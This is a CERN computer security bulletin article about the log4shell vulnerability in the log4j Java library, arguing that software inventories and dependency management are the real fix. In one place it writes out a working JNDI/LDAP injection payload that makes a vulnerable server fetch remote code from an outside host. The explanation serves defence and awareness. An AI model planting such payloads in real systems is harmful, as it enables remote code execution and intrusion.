Last year ended with a nasty surprise for the computer security community in particular and the IT community more generally. Published in early December, the “log4shell” vulnerability (link 1 ; link 2), found in Apache’s “log4j” Java logging library, affects nearly everything. Java is prevalent and embedded in many (too many?) websites, applications, firmware and so on. This makes it hard to fix, in particular with the impending Christmas period, when everyone wants to leave for vacation and the attackers are readily preparing to strike. Unwanted presents under the Christmas tree.
“log4j” is a Java library used by developers and application managers to monitor activity within their application or website in detail. This logging makes it possible to pinpoint problems, misbehaviour and areas for improvement. Given that it is a Java library, it is a fundamental building block and used in many modern software packages. This is what makes the recent vulnerability found in log4j “the most serious vulnerability I’ve seen” (according to US Cybersecurity and Infrastructure Security Agency Director Jen Easterly) as more than 35 000 Java packages, amounting to over 8% of the Maven Central Repository (the most significant Java package repository), have been found to be impacted by the recently disclosed log4j vulnerabilities. And these are only those found in a single repository*.
The vulnerability is simple and efficient, leading directly to remote code execution (RCE) if the logging data contains any malicious payload (like ${jndi:ldap://188.185.91.34:1337/a}), where in this particular case the IP address 188.185.91.34 points to a benign CERN server. The log4j vulnerability is triggered by this payload and the server makes a request to 188.185.91.34 via the Java Naming and Directory Interface (JNDI). In the sad reality of computer attacks, that IP address would be an attacker-controlled server that would respond with a remote Java class file injected into the log4j’s server process and allow the attacker to execute arbitrary code. The simplicity of the attack, in particular because it only requires a single input field in a public or internet-facing web service or application, is what makes it so dangerous. Jackpot for the attacker. Understandably, the computer security and IT communities were not amused. Christmas. Vacation. And an unwanted present under their Christmas tree.
The underlying problem, however, is not log4j. As with Heartbleed a few years ago, the main issue is the lack of knowledge of where a particular library, whether log4j or Heartbleed’s “openssl”, is used. A lack of inventory. A lack of dependency management. When you don’t know, mitigation is impossible. It becomes even more complicated if software is (automatically) imported from remote sources (see our Bulletin article on “A new twist for those who rely on external software”). Like using free and open-source software (FOSS). While FOSS is meant to be reused, this does not guarantee support, updates or the absence of security flaws, especially for small projects or those without proper support/funding. And, in particular, when some (powerful) beneficiaries take the code without participating in the community nor contributing to the project themselves… Central repositories like Gitlab and central registries definitely help under certain circumstances.
For example, the CERN Computer Security team was able to contact all the owners of potentially affected Openshift projects thanks to its central inventory**. Full inventories, the so-called “software bill of materials” (SBOM), would definitely help further once implemented (find some presentations on that at https://indico.cern.ch/event/1094462/). Likewise, curation tools like “Nexus” or “Snyk” (https://indico.cern.ch/event/959475/) might also help, but would need to be deployed first (see our plea in Bulletin article “Fancy dinner or burned pie?”).
Fortunately, so far, neither CERN’s intrusion detection system nor the logs of CERN’s outer perimeter firewall have detected any successful exploitation of this unwanted present. While the Computer Security team has scanned for any potentially vulnerable web applications and alerted the corresponding owners, we are counting on you to check and mitigate your applications and websites, if you haven’t done so already, in order to avoid any post-Christmas surprises! Unwanted presents go straight to the dustbin!
_____
Do you want to learn more about computer security incidents and issues at CERN? Follow our Monthly Report. For further information, questions or help, check our website or contact us at Computer.Security@cern.ch.
* A list of affected software can be found at: https://github.com/NCSC-NL/log4shell/tree/main/software.
** Funnily enough, 50% of the Openshift-hosted projects whose owners were notified were deleted immediately. It looks like CERN really needs a better resource life cycle as those, apparently unimportant, projects block resources and pose a latent security risk.